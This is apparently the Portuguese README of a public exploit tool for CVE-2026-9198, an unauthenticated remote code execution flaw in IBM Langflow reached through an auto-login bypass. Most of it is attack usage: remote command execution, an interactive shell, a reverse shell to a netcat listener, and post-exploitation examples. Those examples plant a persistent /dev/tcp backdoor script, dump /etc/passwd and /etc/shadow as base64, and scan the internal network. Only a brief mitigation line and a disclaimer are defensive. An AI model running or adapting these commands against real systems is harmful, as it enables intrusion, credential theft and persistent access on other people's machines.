
IBM Langflow RCE Não Autenticado via Bypass de Login Automático
CVE-2026-9198 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) não autenticada no IBM Langflow OSS. Este exploit combina duas vulnerabilidades:
/api/v1/validate/code que permite execução arbitrária de Python⚠️ AVISO: Esta ferramenta é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado é ilegal.
pipgit clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
Ou instale todas as dependências de uma vez:
pip install -r requirements.txt
python CVE-2026-9198.py --help
Você deve ver o menu de ajuda com todas as opções disponíveis.
Execute um único comando no alvo:
python CVE-2026-9198.py -t <target_ip> -c "id"
Exemplo:
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
Inicie um shell interativo com prompts dinâmicos:
python CVE-2026-9198.py -t <target_ip> --shell
Recursos:
user@host e o diretório atualcd com atualização automática do promptExemplo de sessão:
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
Envie um payload de shell reversa para um listener:
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
Exemplo:
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
Se o Langflow estiver rodando em uma porta não padrão:
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
Exemplo:
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
Pule o processo de auto-login e use um token existente:
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
Ajuste o timeout HTTP para redes mais lentas:
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
| Argumento | Descrição | Obrigatório | Padrão |
|---|---|---|---|
-t, --target | Host/IP alvo ou URL completa | ✅ Sim | - |
-p, --port | Porta do Langflow | ❌ Não | 7860 |
-c, --cmd | Executa um único comando | ❌ Não | "id" |
--shell | Modo pseudo-shell interativo | ❌ Não | False |
--lhost | IP do listener do shell reverso | ❌ Não | - |
--lport | Porta do listener do shell reverso | ❌ Não | 4444 |
-k, --token | Usa o token bearer fornecido | ❌ Não | - |
--timeout | Timeout HTTP em segundos | ❌ Não | 20 |
--no-banner | Oculta o banner | ❌ Não | False |
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
Para se proteger contra esta vulnerabilidade:
/api/v1/auto_login e /api/v1/validate/codeEsta ferramenta é fornecida apenas para fins educacionais e de testes de segurança autorizados. O autor não é responsável por qualquer uso indevido ou dano causado por este software. Os usuários são os únicos responsáveis por cumprir as leis e regulamentos aplicáveis.
Este projeto está licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.
0xgh057r3c0n
Contribuições são bem-vindas! Sinta-se à vontade para enviar um Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Se você achar esta ferramenta útil, considere dar uma ⭐ no GitHub!